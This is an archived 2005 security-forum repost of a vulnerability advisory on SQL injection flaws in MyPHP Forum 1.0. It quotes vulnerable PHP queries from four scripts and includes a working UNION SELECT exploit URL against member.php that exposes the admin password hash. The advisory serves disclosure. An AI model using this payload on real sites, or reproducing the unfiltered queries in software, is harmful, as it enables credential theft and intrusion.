邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-2-11 06:58

[转载]Several SQL injection bugs in myPHP Forum v.1.0

信息来源:安全焦点([url]www.securityfocus.com[/url])

/*==========================================*/
// GHC -> MyPHP Forum <- ADVISORY
// Product: MyPHP Forum
// Version: 1.0
// URL: [url]http://www.myphp.ws[/url]
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[Product Description]
MyPHP Forum is a simple message board script with limited features.

[Summary]
Several SQL Injection vulnerabilities may lead to viewing of sensetive information,
including hash of user&#39;s password.

[Details]
Positive part of user outbound variables used as they are in SQL queries.

[1] script name: forum.php

---[code]---
$query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid=&#39;$fid&#39;") or die(mysql_error());
$nav = mysql_fetch_array($query);
---[/code]---

Possible SQL injection through $fid variable that has no filtration.

[2] script name: member.php

---[code]---
if($action == "viewpro") {
$member = $HTTP_GET_VARS[&#39;member&#39;];
$sql = "SELECT * FROM $db_member WHERE username=&#39;$member&#39;";
$query = mysql_query("SELECT * FROM $db_member WHERE username=&#39;$member&#39;")
or die("cant execute $sql");
$member = mysql_fetch_array($query);
---[/code]---

SQL code injection
member.php?action=viewpro&member=[SQL code]

[example of exploit]
member.php?action=viewpro&member=nonexist&#39; UNION SELECT uid, username, password, status,
email, website, aim, msn, location, sig, regdate, posts, password as yahoo
FROM nb_member WHERE uid=&#39;1
will show administrator&#39;s name and password hash (in the "Yahoo" field).

Password cripted by encrypt() function:
-[code]-
function encrypt($string) {
$crypted = crypt(md5($string), md5($string));
return $crypted;
}
-[/code]-

[3] script name: forgot.php

---[code]---
$email = $_REQUEST[&#39;email&#39;];
if (isset($email)) {
$sql="SELECT * FROM $db_member WHERE email=&#39;$email&#39;";
...
$result = mysql_query("SELECT username FROM $db_member WHERE email=&#39;$email&#39;");
$username = mysql_result($result, 0);
$msg = "
Hello $username,
---[code]---
$email variable has no filtration.
IMPACT: Possible SQL injection through this variable.

[4] script name: include.php
This is the most important script that is the part of all others.
$nbuser & $nbpass variables are not filtering.

---[code]---
$query = mysql_query("SELECT * FROM $db_member WHERE username=&#39;$nbuser&#39;")
---[/code]---
IMPACT: possible SQL injection through $nbuser.

P.S. all bugs are actual for magic_quotes_gpc=0.

/* ================================================== */
/* [url]www.ghc.ru[/url] -- security games & challenges */
/* ================================================== */
/* greets to: RST.void.ru, D0G4 & all quest hunters %)*/
/* ================================================== */

页: [1]
© 1999-2008 EvilOctal Security Team